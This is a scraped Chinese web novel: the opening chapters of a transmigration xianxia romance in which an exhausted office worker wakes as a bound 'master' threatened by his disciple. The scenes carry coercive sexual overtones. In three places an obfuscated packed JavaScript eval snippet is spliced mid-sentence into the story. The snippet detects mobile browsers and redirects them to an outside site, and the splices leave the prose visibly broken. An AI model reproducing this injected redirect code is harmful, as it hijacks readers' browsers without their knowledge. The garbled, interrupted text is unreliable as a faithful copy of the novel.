《加班猝死,我成了海棠高危师尊》 1. 幽冥鬼里(上) 黑雾,白幡,纸灯笼。 红绳,金锁,鬼新娘。 谢因试图让自己接受眼前这一切,但很难。 他躺在一张满绣鸳鸯的婚床上,浑身上下衣不蔽体,被红绳捆得结结实实,面颊绯红,通体高热。 这红绳在他身上勒出意味不明的红痕,相当挑逗的八字绳结强迫他的双手绕到背后,只能被迫用赤裸的胸膛迎接鬼门冰冷的空气,红绳最后打结的位置卡得相当微妙……只要他微微一动,便牵一发而动全身。 一串金色的铃铛拷在他因不常见光而白皙如玉的脚腕上,绷出一条伶仃的弧度,微微一动,便发出一阵颤栗的响动,任谁看了都得说一句秀色可餐。 “这是全息游戏?”谢因方欲张嘴,可成型的句子还没出喉咙,竟扭转成了一句难以抑制的喘息声…… ?! 谢因吓醒了。 不知为何,谢因只觉得现在的体温比新冠的时候还高,但他的脑子十二万分清楚,他在暧昧的铃铛声里尽力转头看了看四周的环境——这是一间作旧古风卧室,又小又破败,屋子正中摆着一张与这间屋子格格不入的淫.靡大红色婚床,透过呼呼漏风的破窗,谢因隐约能看到外面是一片暗色的荒芜。 显然,这并不会是什么智脑公司的全息游戏。 在大厂兢兢业业干了6年技术员的牛马谢因同志深谙,以目前国内的技术水平完全做不出那么身临其境的3A大作,并且……全息游戏做成R18,上架前整个组都会被抓起来的吧。 那这是哪儿?过劳加班后组员报复组长的新手段? 谢因拧眉,努力搜寻自己晕倒前的画面—— 近年节、燕州市CBD区灯火通明,仿佛在榨取打工人假期年节前最后一点火光。 作为今年最不作妖的谢因小组年终奖到账20万,一整组掌声雷动、如蒙大赦,本应该春风得意一小下,一块聚个餐,宅家酒吧按摩spa奢侈一把——但电脑关机键都还没按下去,率先得到了经理和总监的夺命连环call。 “最佳小组嘛!中流砥柱嘛!”这两个逼人嘴里说着些一毛钱不值的客套话,皮笑肉不笑地把写着“精益求精”、“砥砺创新”的商务计划拍在了已经连轴转了72小时的谢因的办公桌上。 有心杀贼,无力回天,嘴边上的“日您大爷”被自诩消化器官良好的谢组长团吧团吧咽了下去,面无表情“好的收到”。 日料自助,酒吧鼓点,spa,按摩,全都变成了深夜办公室里哀怨的键盘声,朋友圈的红点里,经理和总监这一对天打雷劈的畜牲已经开始吉祥话轰炸和岁月静好小作文。 这策划案上批注的“狗屁不通”,不知是不是出自大老板之手,确实精辟,确实狗屁不通,这俩人怎么敢把这样的策划方案放在领导桌上的呢? 翌日清晨,谢因把写着“项目策划案35.0”的文档发送到经理钉钉,突然眼前一黑。 然后就到了这里?躺在这张满绣鸳鸯的婚床上,还被绑成这种恶趣味的样子?! 绑他干什么?他还能比资本家更招人恨?怎么不直接绑办公楼顶层的总裁啊! 就在此时,鸳鸯婚床突然发出吱呀响动,帐外白幡似察觉来人,像鬼影一般,欢欣鼓舞地游动起来。而后,谢因见到一个瘦削的身影向自己走来。 “唔呃……” 谢因想呼救,却只难耐地吐出一点呻.吟,听得他耳根一片赤红。他勉强支撑双目,一道白幡随风飞起,霎时挡住了谢因一探究竟的视线,而后,一根冰凉的手指将那缕白纱挑下,触碰到他的脸颊时,激得浑身滚烫的谢因抖了起来。 来人是有着一张极清隽的青年人的脸。 一点儿都不像假想敌里满脸横肉或贼眉鼠眼的犯罪分子。 但谢因也确定,这人不是自己组里的同事,更不是什么仇人,这人自己压根就不!认!识!啊! 年轻人一席及地黑袍,长发齐整高束脑后,比之形容狼狈的谢因堪称衣冠楚楚。他嘴角噙着一丝玩味笑意,似是对眼前的景致相当满意,恍惚间谢因听见他说:“师尊,事到如今,你不会还以为你可笑的自尊心能换来什么吧。” 谢因绝望闭目:“你……哪位啊……” 剧本杀狂热分子?臆想症coser?这个喷不了,这个是真神经病。 可这毕竟是目前看到的唯一一个活人,谢因试探性地望向对方,试图礼貌地搭话:“你好,如果我想出去,是不是要配合你演戏?” 好像有些角色扮演类的密室逃脱是这么玩儿的,尽管理智告诉他,这应该不单纯是一个游戏,谢组长只是乐观地还怀抱一丝幻想。 不知为何,听到他的这些话,青年的脸色一阵青白,缓缓靠近,双眼微眯,语气愈发阴戾危险:“不过是个千人骑万人睡的炉鼎,渡云真人不会真的觉得我和那些觊觎你身体的蠢货一样吃你这一套吧?” 哪一套?他干什么了?呼吸? 青年人捏住自己下巴的动作,又在风暴瞬息变得几尽温柔,眼神和软:“乖,师尊,现在交出法宝,我就给你想要的。” 说着,他伸手拨开谢因颊边一缕被汗水浸透的长发,手指暧昧地抚过额角,不知为何,谢因竟然感觉到自己的身体下意识地配合他的手靠了过去,此时周围的一切像是被按了某种暂停键一般,对方不动了。 这又是哪一出!放碟卡带了? 几秒后,一道全息屏一样的幕布在谢因面前缓缓展开,或许是因为信号不好,屏幕发生了一阵又一阵雪花频闪,而后,谢因眼前缓缓出现一行字。 「宿主您好,恭喜您绑定穿越管理系统,欢迎来到修仙小说《仙堕》,请完成任务并通关,否则将永远无法回归现实世界。」 什么玩意? 他耳边这才传来一阵极为欢快的乐音,仔细听很像千禧年流行的彩铃,叮铃桄榔乱响一阵后,一个相当活泼的声音递了进来:“呼……终于链接上了,宿主您好,我是穿越管理局系统工号376,很高兴为您服务。” 谢因:很不高兴接听来电……不是,你又是谁啊? “十分抱歉宿主迟到了二十分钟,我也是花了好大功夫才能跟您链接上,您还好吗?自由呼吸着吗?能听我做完一分钟情况介绍的口播吗?” 接二连三的复杂状况拷打着一个社畜的专业素养。谢因看过穿越文,但他作为生在红旗下长在春风里的唯物主义,比起“穿书”这种荒诞的设定,更确信自己应该是加班加疯了,连幻听的症状都出来了。 谢因面无表情询问:“你好,请问我是被眼前这个神经病传染了吗?” 这年轻人的手就这么悬在他耳边,失焦的瞳孔倒映他如今狼狈的面容。 “哦不是的,眼前这位是您座下唯一弟子,名叫萧循,他现在只是疯了,并不是神经病,而且据我所知神经病大多由遗传导致,不传染哒!” 376号完全没在意谢因想不想听,从善如流地开始自己的口播,“您现在所在的世界,是一本仙侠……小说《仙堕》,您的原身渡云真人,本是当今仙界最厉害的仙者之一,带着小徒弟萧循一路打怪升级,跻身神坛。但因为……呃,一些原因,时空链接紊乱,您穿越到了故事的末尾,您的徒弟萧循因为剧情崩坏而全面黑化,要跟这个世界玩个九族消消乐,还要对你强取豪夺囚禁虐待,攻略难度SSS+……” 谢因打断他:“你说我是当今仙界最厉害的仙者之一?” 设定纵然很是荒谬,但376号的语气却十分轻快:“是哒!仙界守护着本书的众界生灵,而原身渡云真人更是如出水芙蓉、云巅玉兰般清冷的谪仙之人呢。” “那为什么……”谢因艰难地动了动被红绳捆住的肩膀,又带起一串暧昧不明的铃铛声,听得人心头直痒,“为什么我现在会是这种形象?” “啊,这个嘛……”对面的376号显然是沉默了一下,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809954|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好久才十分难以启齿地说,“因为宿主您穿的这本小说《仙堕》,是一篇篁.文啊。” 376号将自己的语气调到一个极为“正经”的频道:“本书的一句话简介:渡云真人1vN,六界第一美人,炉鼎体质,纯pwp,有重口,野外,N/P,dirty talk描写,不洁,慎入……” “可以了停,”终于意识到破文究竟为何物的谢因崩溃地打断他,“我没有很想听。” “啊哈哈,宿主你也别太灰心了,”376号很会找补,语速飞快地接着说,“比起穿到生子文和人.兽.虫族N.P文的那些人来说,这种还算比较传统的设定已经很清水了。” ……谢因一个字也没听进去。 他头痛欲裂地思考着这个颠三倒四的倒霉系统吐出来的荒唐信息,猝死、穿书、小/篁/书,诡异,太诡异了。 “你说你是系统……”他勉强扔掉大脑和自己的唯物主义,从学生时代的记忆里捡拾一些关于穿越小说的基本常识,“系统的权限应该很高吧,能帮我离开这个鬼地方吗?” “呃,对不起,办不到。” “那我总有什么任务吧?一般完成了新手任务就能走下一个剧情离开这里了对不对?“ 376号沉默了一下,似乎是有些难以启齿:“基本逻辑是这样的,但是宿主你现在穿到的是小说结尾,任务线已全部走完,一切都已无法改变,只能顺应天命……” 上班这些年见过那么多牛鬼蛇神的谢因终于愤怒了:“你是来给我下病危通知书的?你也说了这个攻略难度是SSS+,你的工作职责不会是放任穿越者进来送死吧。关键事件节点、任务道具什么都没有了?” “啊对!道具!”对面像是被提醒,声音陡然拔高,“有一个的,除非你能用原身的法宝「因果」逆转时空,回到过去,说不定还有一线生机!” 算你还有个好消息。谢因想起刚才那个年轻人对自己说的话,似乎这什劳子“法宝”就在自己身上,环顾四周,“在哪儿?” 这次对面沉默的时间有点长:“「因果」是上古神器,逆写既往,裁定将来。很久以前就碎成八瓣儿了……原身游历六界寻找,还差一片碎片,至今没修好。” 说着,376号似乎是怕被谢因骂,飞快地补了一句:“但我一定会和宿主您一起想办法的!虽然我只是实习生法宝库权限不高但是你先顶一顶我找到办法就来救你!” 而后在一段快速的书本翻页声里,飞快地掉线了…… 现找啊?! 随着系统掉线,谢因这边被静止的时间也缓缓游动起来,青年人……萧循的手指轻轻扫过谢因的眼睛、睫毛,顺着脖子已经摸到锁骨,像一条鬼魅的小蛇。 不是!谢因脑内警铃大作,总不能自己刚到这地方就被……那啥了吧!浑身紧绷的谢因随着萧循逐渐下移的手指开始极为快速地头脑风暴——拖延时间。 法宝没修好,剧情无法更改,只能寄希望于那个不靠谱的376号找到关键线索……可怎么拖延时间? 谢因迅速检索自己饱受风刀霜剑严相逼的无趣知识库,从十丈软尘到莺歌燕舞,从苦海无边到青年干部,法宝,对,萧循他刚刚说让他乖乖交出法宝,就给自己想要的。 「因果」,可这玩意儿长什么样,是概念还是实体,是长的还是扁的? 不能露馅,万一被这神经病一刀杀了……既然如此,不如编一个新的法宝,混淆视听拖住他? 谢因来不及细想,仙侠文里神君仙尊一般有什么法宝来着……他越想越乱,修仙小说他倒看过一两本,可谁没事闲得照背啊! 那他背过什么书?有“法宝”的,能震慑住对方的…… 就在萧循冰冷的手顺着谢因的衣角向下摸去,几乎就要与束成三角的红绳交汇时,谢因突然仿佛被什么鼓舞了似的,微抬长睫,勉力开口:“什么法宝?难道是……社会主义三大法宝?” 2. 幽冥鬼里(下) 萧循想要继续触碰他的手一顿,表情似有一丝冰裂。 社会主义?三大法宝?多日不见,难道师尊又进境了?可他明明—— 好。无产阶级钢铁般的意志果然强大。谢因乘胜追击,绞尽脑汁回忆大学时期支部大会内容:“学生阶段多看点马列毛选是好事,看你年纪,正是做青年大学习的时候,连这么经典的思想都不内化还想一统六界?鉴于你刚才叫我一声老师,我也不想要这么文盲的学生,那你听好——” “社会主义的三大法宝是,党的建设,统一战线,武装斗争。” 那人的动作顿住了,表情极其复杂。 但谢因视而不见,只一味地输出:“思政课没上过吧,看起来是没上过,强取豪夺来的法宝都不牢靠,不靠自己强大,难道靠列强逆向播种?那是殖民。我问你,社会主义核心价值观是哪二十四个字?《论持久战》预言了什么样的战场形势?这些太深刻了?那国庆是几月几号?你是行走的五十万吗?” 谢因仿佛听见有什么东西咔吧碎掉的声音。 年轻人抽回手,目光极其冷厉,谢因脊背发凉,觉得他这一套情绪转化可能是想要扑过来掐死自己,又被活生生忍了下去。 他似乎是一直在忍耐什么,包括对自己的“冒犯”,仿佛对自己下手是一件极为……不妥的事情。 虽然确实不妥吧。 “轰——” 随着一声巨响,谢因突然感到一阵强烈的地动山摇!整张床随着这一阵晃动,发出一阵极其刺耳的响声! 不多时,门外急切声音传来:“魔主!有人擅闯结界!” 萧循侧身向窗外看了一眼,脸色凌然一变,最后相当“咬牙切齿”地看了谢因一眼,更像是想平复一下被“三大法宝”震慑住的神经。 “好好待着。”青年人淡淡留下一句,整个人飞快地离开,消失在暮色里。 谢因松了口气,社会主义好,社会主义真的好,不论何时何地何种境况都能摸索出一条独特且有效的对敌思路,哪怕是拖延时间呢? “好好待着?哈?”谢因活动了一下脖子,不晓得现在这副尊荣像不像刚从地狱爬出来的女鬼,这小子做什么千秋大梦呢。 赤红色的东风吹醒了他昏昏沉沉的大脑,靠山山倒,靠人人跑,既然他真的来到了一个科学无法解释的世界,哪怕这个世界就是喂他来送死的,他也要先尽人事,再听天命。 376号系统还没回复他,但不能再等了,现在是逃跑的好时机。原主的身份虽然听起来很牛逼,可如今一点灵力用不出来,只能靠谢因自己,不知道是不是对应了那萧循所说的炉鼎。 “炉鼎是什么……”灵根?还是金丹?课外阅读量有限的谢因嘟哝。他动了动身子,绳子好像除了搞点情/趣外没有其他功能,金锁和铃铛只是样子好看,若非他现在身上绵软无力,口干舌燥,否则以他一个成年人的力气,也不至于如此无法应对。 那他要怎么逃出去呢? 谢因扫视殿内一圈,殿内被红烛映得灯火通明。而如此淫.靡的床帐边,竟然好端端挂着一把古琴,琴弦干净、琴身油亮,看起来是经常保养。 谢因只一眼就想起来,既然有琴,那么这里应该有那样东西才对。 …… 萧循走得很急。 他本可以腾身而起,御风飞行,但他更喜欢用脚踏实地的方式施展他的威压,或许是为了显得稳重,或者掩饰他的动摇…… 可恶,究竟什么是三大法宝。 萧循摸上腰间的佩刀——这是屋里床上那个人送给他的拜师礼,问天。 师尊曾说:“为师教你的仙法,是为了守护六界苍生,若你心思不纯、道心不修,用于邪魔外道,我便没有你这个徒弟。” 像是某种执拗,在幽冥鬼里,师尊教会他的那些仙法,他一个也未曾施展过,只有这把刀,陪他在晨昏不定的魔界里挨过一个又一个孤寂的夜。 “呵。”萧循自嘲般扯动嘴角,凝成一个教科书般的皮笑肉不笑。他走过之处,墨色鬼气四散开来,草木生灵快速枯萎,小鬼们看出魔主不爽,飞快跪下行礼,恨不能把头埋进土里。 萧循沉着脸,直直向刚才发出震天响动的地方走去——这几年,他的法力涨得飞快,又有上古魔刀加持,早已是魔界万人之上,罕逢敌手,就连扶摇的第一战神兰棹辞也被他斩于马下。他布下的结界,不论是修为比他高上千年的大妖,还是九天十地只存于书中记载的魔神,都难以靠近半分。 谁敢在他办正事的时候擅闯找死? 结界破碎的边缘是一道幽红的身影,萧循站定,仰面与他对上。 他从未见过这个人。 来人五官生得极精致,眉弓骨似乎比常人略高,下罥一双含笑的桃花眼,鼻梁高挺,青丝悬垂,哪怕在这暗无天日之地,照旧是难以蒙尘的明珠,光彩夺目,或者用宝石来形容更为恰当——层层叠叠的赤色华服仿佛流淌的血色,露出来的一截颈子洁白如月,浓郁的颜色衬得他愈发漂亮。 “确实是鬼地方,”那人的嗓音温和而多情,眸星淡淡落在萧循身上,原本应当颇多柔肠百转鸦青色眼睛却带了半分讥诮危险的锋芒,像在看个死人,“叫我好找。” 更加可怖的是,他只是微微抬手,原本只是破了个口子的结界竟如脆纸般簌簌落下! 萧循的脊背一阵发寒,这样可怕的对手,为何从未听说过?但他叱咤魔界多年,见过的牛鬼蛇神不知凡几,如今也稳得住:“何人找死!” 那人并未作答,眨眼之间凭空消失,一个呼吸的时间,来人已距他不过数尺,目光有如实质,仿佛冰冷的刀刃贴在颊边,令人不寒而栗。 与之不甚匹配的懒散喉音就这么落在萧循耳边:“听说,「因果」的主人在你手里,所以想向阁下借来一用。” 又是「因果」,师尊身上那件万人觊觎的法宝。 萧循一凛,淡漠道:“借来作甚?” 来人微笑,笑意不达眼角:“借来杀一杀。” 两人之间剑拔弩张的火药味骤然加剧,萧循怒而笑道:“哈,这个理由倒是新鲜。” 对面微微一哂:“看来谈不拢?” 萧循没有回答,手却已经按在了身侧的刀柄上:“想带走师尊?有本事杀了我,再谈不迟……” 一触即发的局面,掌中问天的刀锋在萧循法力斥控下震颤不休! “轰——!” 二人背后的殿宇却在此时发出一阵剧烈爆炸的声音,巨大的热浪奔涌而出,仿佛有人掀飞了地板,又滑稽地像是在拙劣的劝架。 那是他安置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他不知道这是什么地方,四下昏蒙,不见天日。这荒原一样的地方没什么遮挡,萧循追上他恐怕也只是时间问题。 只能祈祷那个突然来找事的不速之客有点本事,能帮他多拖几分钟吧。 谢因的小腿刺骨地疼,却不敢停,一瘸一拐向远离殿宇的方向挪动,不过跑了几步,又一个不吃力跌跪在地。 这原身玻璃似的人,仿佛经不起一点摧折。 就在这时,他撞上了一双不疾不徐停在他面前的长靴。 谢因吃力地抬起眼睛,只见长靴之上,一件极为华丽的长袍缀在一个身形极为好看的青年人身上,来者嗓音温淡,又若有似无地掺上些许缱绻笑意。 “这样投怀送抱,果如传言所说,渡云真人是真‘菩萨’,渡众生、解人云。” “只是不知……”他用靴尖轻轻抬起谢因的下颌,迫使狼狈的砧上鱼肉抬脸,素净一张脸,长睫如蝶、眼尾微红,散落的长发绸缎似的流淌,毫无保留地展示他的隐忍、屈辱和挣扎,“真人能否渡我的灾厄呢?” 谢因回应给这人的却是一片茫然的空白和深深的震撼。 此男发出了自穿越以来最难以置信的声音:“温……温叙?他们真跑到顶楼总裁办把你也绑来了?” 3. 各显神通 穿越坏,穿越使人神志不清,穿越使人摆不清位置。 见对方像萧循刚刚听到社会主义三大法宝一样——整个人木住了,谢因痛定思痛,觉得自己还是太不把领导当回事了。 “温总?”他再一次试探地开口,这次换了职称,“不好意思温总,不是故意,事态紧急……不过您也是穿来的吗?有没有系统跟你说话?” 对方并未作答,微微侧头,似是不解。 谢因觉得自己没有认错。 他大四毕业后就进了W.T温氏集团,在职六年半,而温叙是几年后被空降到公司的董事,是盘踞燕州CBD黄金地段的八十二层写字楼顶端的史矛革。 其实这个人距离谢因很远,在他的记忆里,凑成这位阴晴不定的“小温总”的,是顶楼总裁办单向玻璃那一边的模糊侧影,是项目汇报会上,董事会长桌的尽头传来的冷笑,是集团公司廊桥上专门有属于他的一条车道,迈巴赫的车身与谢因四处违章飞驰的小黄车擦肩而过。 其实谢因对最高管理层的组成只知皮毛,但W.T是家族企业,这是公开的秘密。温家像一只庞然大物笼罩燕州市中心,所涉领域四通八达,不仅能逼疯友商,还兼吃两道,多年屹立不倒,内部暗流涌动,而传说温叙是集团创始人不太待见的重孙子,又说他是因为离经叛道而被排挤经商天才。 温叙不只是这一家公司的董事,而这人似乎比自己还年轻。 人比人得死,货比货得扔。年轻有为又帅气多金作为前提,性格恶劣仿佛也算不得什么缺点。温叙就算无数次把P7到P10那两层办公室制造出的“数字垃圾”打回重做,并附赠一段刻薄极致又花样百出的嘲讽,集团内部对其仍然是马首是瞻、无一不从。 谢因对小温总没什么不好的印象。他甫一上任光速清掉一批裙带关系户,撤掉好几位不干实事还爱做文章的中年男领导,这些年来唯一没有骂过的就是谢因组,今年还给他们发了20万的年终奖——这也是他难得记住大领导名字的理由。 只是现在…… 对方被他说得一怔,桃花眼微挑,蓦地勾起一个莫测的笑,总算染上些很合时宜的柔情:“渡云真人在说哪里的俚语,我倒有些听不明白。不过看这情势,我猜,仙尊是在向我求救吧。” 什么? 他,难道这个百分百还原温叙一张脸的人,是原住民,不是穿的? 真的会有这么巧的事情吗? 可是他也不认为温叙是个喜欢勾男人下巴的神经病。 还是用鞋子。 在“真的会死”的压迫下,不论眼前这人到底是不是自家领导,这张熟人的“亲切”脸孔仍然让谢因没由来的觉得安全。 于是谢因没动,乖顺地放软了语调,抿唇道:“能不能……帮帮我,有人要杀我。” 眼前这人嗤笑一声,露出一点“果然不出我所料”的表情:“渡云真人凭什么觉得我会帮你?凭你这张脸?” 他慢悠悠收回鞋尖,俯身,静静端详起谢因那张因逃命而狼狈的脸,高热的体温和新鲜伤口的失血让谢因有些失焦,贴在颊边的长发衬得他肤白如雪,又剔透又清澈的一双眼里仿佛还噙着泪,哦,是烧了手臂疼出来的。 可谢因只觉得眼前这人仿佛盯住了什么猎物,又像是透过他的这幅皮囊向更深处凝视。 这样的凝视太露骨,又太审视,不像在看一个活人,更像是一件待价而沽的货物。 谢因忽地哑了舌头,找回了一点原本的理智:“我确实一时拿不出什么值得上称的筹码。” 他勉力维持身形,叹了口气,拉开与温叙的距离,“如果您没有搭救的意思,我马上就走。” 不知是不是错觉,这句话说完,温叙的眼神里似乎多了些难以描述的颤动。 “啧,穿成这样能跑到哪儿去,就算离开了幽冥鬼里,也不过是掉到其他妖魔鬼怪的床上,”那人挥了挥手,目光落在谢因手臂的烧伤,他身上那件落地的暗红色长袍轻飘飘地盖在谢因身上,“还是说这才是渡云真人的本意?” 极为冶丽的颜色。清冷谪仙的底色仿佛被玫瑰攀援,有种堕入凡尘的漂亮。温叙似是被谢因这幅模样烫了一下,眼神闪动,扭头不再看他。 什么本意?谢因一头雾水,也不知这衣服被使了什么法术,一时间禁锢他的疼痛、高热散去不少,手指触摸衣料,便是一阵沁寒,令他很是舒爽,烧伤的手臂甚至都有些要恢复的架势。 难道是用这法袍短暂压制了自己的奇怪体质? “来得好快啊。” 顺着温叙的话音,谢因再一次见到了把自己变成这幅尊容的始作俑者,萧循。 与在帐中高高在上时的游刃有余不同,此时的青年慌乱极了,衣衫甚至被大火燎烧过。他见到谢因,先是有惊无险地一喜,可“师尊”两个字还未出口,便见又是那位“不速之客”挡路,而谢因身上竟还裹着对方的长袍! 众魔拦不住他也不奇怪,只是他的师尊俨然一副心甘情愿被对方劫走的架势。 “师尊……哈哈哈哈,师尊……”萧循苦笑起来,他眼角带血,形容癫狂,却又给人几分孩子胡闹的意味,“你还是要选旁人,你终究……还是要背叛我!” 骇人的黑气自他身遭一并爆发,谢因忽觉脚下不稳,像无数细线牵动着自己的四肢,一股黑气猛地扑来,将他如傀儡一般卷起,不自觉地向萧循那一侧飘去。 黑气愈来愈浓,愈来愈紧,谢因被带至半空,只觉眼前模糊,几乎喘不上气,他试图挣扎,但根本于事无补,黑气几乎要将他整个吞没前,谢因下意识地向那人伸手—— “拜托,温总,救……唔……” …… 下一秒,刀锋一样的红色焰光在谢因身前爆发!无常的包容力瞬间吞噬萧循的黑气,谢因恍惚间,只见“小温总”笑眯眯地向侧挪了一步,微微抬手,根本没使力,便把谢因一整个“捞”了回来,身上的牵引感全然消失。 他不动声色地挡到谢因身前,极宽的肩膀,侧头:“看来渡云真人果然,很需要我。” 谢因站稳身形,望向“救命恩人”的眼睛——呼吸间,谢因下定了某种决心,“你刚才说,‘不知真人能否渡你的灾厄’,我对你有利用价值,是不是?” 对方思索一秒:“算是吧。” “那……”谢因勉力看了萧循的方向一眼,“你打得过他吗。” 温叙听见这个问题,嘴角蓦地上扬:“轻而易举。” “证明给我看,”于是谢因如溺水的人,抓住了眼前这片不知是否牢靠的浮萍:“救我,不论我身上有什么你要的东西,我和你走。” 不论如何,死马当活马医,老乡总比神经病靠谱。 也不知道这句话戳中了对方哪门子爽点,温叙眉梢一挑,暗红色雾气围拢过来,轻轻包裹住他与谢因,他煞有介事地冲萧循将谢因的话进行了一个高度概括:“萧魔主,你师尊说,他选我。” 这句话如一道惊雷,将萧循彻底激怒!天地为之色倾,风云同频变换,长刀问天被萧循震成七段,而从他背后升起的黑色雾气里裹着的另一把刀,却携风雷之势,应召而来。 “哦,居然唤出了这老家伙……”温叙全然没有被对方的大阵仗惊到,双手抱胸,还有心情向谢因科普,“这把刀有些来头,只有魔界之主才有资格驾驭它,可这么多年过去,魔界的主人换了好几茬,能够唤出它的,竟无一人。” 而如今,它悬在萧循身后,看不清本貌,一呼一吸间却有金红亮色亮纹闪动,如同活着一般。 “杀我何须用牛刀啊……”谢因面无表情看着原身的弟子发疯,淡淡吐槽,“这么牛逼的一把刀招呼过来,我应该什么都不用想就死透了吧。” 可温叙站在谢因跟前,并没有动,也没有躲,听到谢因的这句话,冷笑:“一般吧。” 言罢此人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809956|175186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不退反进,甚至都没有进入作战状态,只是懒懒抬手,凭空召出一把极为瘦长的“刀”,迎风而动,他温和地嘱咐了谢因一句,“别出去,危险。” 说着,他迈出那片红雾织成的“安全区”,转向萧循时语调仍是一副欠揍的懒相:“听说你是六界第一,今日便给我找点乐子吧。” 铮—— 电光石火间,那大放厥词的“小温总”身体向前一闪,金鸣铿锵,金光与红光碰撞在一起,天空都被染成昏黄。半空中两道看不见人形的身影战成一团,像是神兵对撞时器灵的低吼。 萧循一步一步逼近,不断地释放更强大的魔力企图压制,可对方甚至只用了一只手,游刃有余地将对方的魔气一一回击,愈来愈强的魔气铺天盖地地向他涌去,却始终未沾染他的衣袍半分。 漫天红光,谢因一瞬间错愕,甚至有些怀疑自己的判断了。那被称为魔主的萧循满身魔气,却被对方压制地毫无反手之力,要么就是这个世界里魔主遍地走、仙尊贱如狗,否则这等战力崩坏会被读者喷出二里地吧。 那么,等他打赢,混在他身边等376号? 再怎么也不会比现在更倒霉了吧…… 这个念头刚刚从他心中飞快地溜走,墨菲定律准时准点地送来了礼花。 那个消失的电子屏幕此时闪着故障的电花,彻底剥夺了谢因对这副身体的掌控权。 「警报!警报!警报!」 「宿主%^^存在的世界……%出现¥@#重大故障,修正,修正……」 天端金光一片,谢因不受控制地一步一步向后挪动,远离了红色雾气织就的“安全区”。 一步,两步……后退数十步。 等一下?376号上线了?为什么要让自己离开这里?“温总”是故障?还是萧循? 不对,不对,这不是穿越管理局的界面。 一阵风声响动,谢因突然感到身后一阵巨大的冲击和光热,耳畔堪堪捕捉到“温叙”一句极为慌乱的: “谢因!躲开!” 是我幻听了吗?但他来不及回头,也来不及真的做出反应。 碎裂虚空中刺过来的一把刀,已然贯穿了他的心口。 温热的血溅到谢因脸上,痛,立刻向四肢百骸席卷而来。 拼尽最后一丝力气,谢因也没有看清那把刀主人的模样,他只看到一抹幽红的影子飞快地向自己的方向来了。 原来非自然死亡的痛感会如此汹涌。 衣角落地烧成火原,天地四散皲裂,面上似乎有些湿意,奇怪……他在流泪吗? 是谁要杀他,这么大费周折。 他倒在了谁的怀里吗? “谢因……学长,醒醒,谢因!” …… 谢因看见了一条河。 他记得很小的时候,阿嬷同他讲过许多吓唬小孩的故事,她说人死之后都会跨过一条河,这条河有长有短,有急有缓,你会在渡河时重新审视自己的一生,如果仍有牵挂,挂念之人会在河对岸最后见你一面,了却心愿,轮回转世。 这条河,名叫因果。 小因,你有什么牵挂呢? 牵挂么,明明还有很多。关节炎复发的老爹,嗷嗷待哺的妹妹,在医院躺成植物人的同窗好友,新年即将启动的项目书,还有公司楼下不知道能不能过冬的几只小猫,他买的加厚款猫窝还在物流中…… 而此时,冥冥有人从高处垂落下来一声叹息,谢因看不清那个人,只能觑见一片绣银云纹的衣角。 “你与我,我与我,胜负未分。” “既然如此,我送你一程。” 衣角的主人不知拨弄了什么,河面瞬间争动起来,谢因脚踩的小筏却安然无恙,正面迎接滔天巨浪。 “这一局因果,由你先写。” 而后,一阵轻快的铃声破土而出—— “恭喜宿主通过新手考核,主线正式加载中!” 4. 你好你谁 谢因蓦地惊醒,睁开眼睛。 四里归于平静,远离幽冥鬼里的森森死气,也没有动辄爆衣的超级赛亚人。 “我这是回去了吗……” 入目素白一片,鲛绡素纱层层叠叠,围拢他盘膝而坐的一枚蒲团,玉砖下的裂纹似有规律,如脉搏般的金线缓缓流淌,屋内置物也是一片洁净,唯独西置物架上齐齐排着一架典籍。玉髓成冰悬于额顶,温柔的光细如月色倾落,不至昏沉。 “这是什么地方?医院?哪家小众医院还给病人穿这种衣服……嘶!” 谢因想动,熟悉的痛感随着他躯体自适应慢慢回笼,这种痛觉几乎伴随着他睁眼看世界的全程,他已经习惯了。 “好的,没有回去,”谢因面无表情,“还是这该死的穿越。” 强忍不适站起身,一步一挪到案几旁,一只光可鉴人的琉璃盏被他当做镜子照了照,果不其然,五官倒还是自己的五官—— 只是……卸去了六年007社畜的班味儿,两坨密度极高的熊猫眼圈也全然不见,一双温淡眉目嵌在苍白的脸皮上,微微下垂的眼角蕴着百来年油尽灯枯的倦意,更衬得唇红齿白、还相当有点破碎感。但想起系统为他介绍身份是大加吹捧的六界第一美人,谢因一时觉得这个头衔有点水。 白衣,玉冠,墨发垂腰有如绸缎,如今只好任凭它们松松散在塌上,懒得去管。 他气若游丝地瘫坐下去:“这是哪儿?是《仙堕》还是另一本小说?” “该不会是被那个倒霉的376乌鸦嘴说中,穿到什么生/子/文里去了……我去,这又是什么玩意。” 他忽然感觉到自己袖子里滚出了一只毛茸茸的活物。这团黑毛油光水滑,又细又软,正乱七八糟地在谢因怀里呼呼大睡。 谢因双眼一眯,秒确诊,一只小黑猫。 难道是什么人.兽剧本?! 